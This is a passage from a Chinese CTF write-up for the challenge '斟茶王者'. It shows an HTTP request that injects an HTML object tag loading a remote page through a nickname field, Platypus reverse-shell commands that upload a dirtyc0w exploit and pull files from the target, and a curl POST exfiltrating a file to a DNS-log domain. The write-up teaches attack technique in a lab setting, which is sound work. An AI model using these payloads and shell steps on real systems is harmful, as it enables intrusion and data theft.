POST /api/chat/edit HTTP/1.1Accept: application/json, text/plain, */*Accept-Encoding: gzip, deflate, brAccept-Language: zh-CNAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MjIwMTYsInVzZXJuYW1lIjoic25ha2VCIiwiYWNjZXNzIjoiY2hhdGVyIiwiaWF0IjoxNzIyMzkzMjIwLCJleHAiOjE3MjI0MDUyMjB9.ULqMMKCr47K4Pu5qvuWTIkXu8SniH9KWwPo0q91agRIConnection: keep-aliveContent-Length: 17Content-Type: application/jsonHost: scene-969yswa85uftg01k-final-3000.zhigeng09.toolmao.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) maicha/1.0.2 Chrome/126.0.6478.127 Electron/31.2.0 Safari/537.36sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"
{"nickname":"<object type="text/html" data="http://X.X.X.X:8888/play.htm">"}


不要忘记放行端口


成功建⽴了连接:


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺



使用list命令:

List查看当前正在监听的服务器以及每⼀个服务器上存活的 Shell

复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺



好家伙大家可真都没闲着


Jump [HASH | NAME]      #跳转到某⼀个 Shell 对其进⾏操作:


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺



PTY # 升级终端   通过将攻击者的终端设置为 raw 模式来实现交互式 Shell  退出命令 platyquit

或者


Interact   #当跳转到某一个 Shell 之后,与之进行交互。如果您想要退出当前Shell,exit 即可返回。Termite 客户端


补图:



复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


Jump [HASH | NAME]      #跳转到某⼀个 Shell 对其进⾏操作:Upgrade 1.3.3.7:13337PTY # 升级终端Interact   #当跳转到某一个 Shell 之后,与之进行交互。如果您想要退出当前正在交互的 Shell,可以直接输入 exit 即可返回。
Download /tmp/www.tar.gz ./NoSugar  #将当前交互主机的 /tmp/www.tar.gz 下载⾄ Platypus 当前⽂件夹下的 NoSugar中。Download /home/boss ./NoSugar
Upload / Download  ## 当跳转到某⼀个Shell 之后,上传或下载⽂件,目前 Platypus 只支持在 Cli 模式下进行文件上传下载操作Upload ./dirtyc0w.c /tmp/dirtyc0w.c:上传文件 将 Platypus 当前文件夹下的 dirtyc0w.c 上传至当前交互主机的/tmp/dirtyc0w.c
Help


https://platypus-reverse-shell.vercel.app/user-guide/interact/cli/


第三个办法是DNS外带


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


先生成一个wcusrcwvkg.dgrh3.cn

在/home/boss目录下

curl -X POST -F [email protected] wcusrcwvkg.dgrh3.cn


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺


后续,好像不太行,仅作为参考吧。


第四个方法:c2

小彩蛋:

RT.

复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺

 点击下载 








点击底部【阅读原文】,下载无糖浏览器,进入知更实战平台,了解更多详情!

原文始发于微信公众号(无糖反网络犯罪研究中心):复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺

版权声明:admin 发表于 2024年8月29日 上午11:03。
转载请注明:复盘末期 | 史上最全解题思路,多种答题方式带你玩转“斟茶王者”-马珺 | CTF导航

相关文章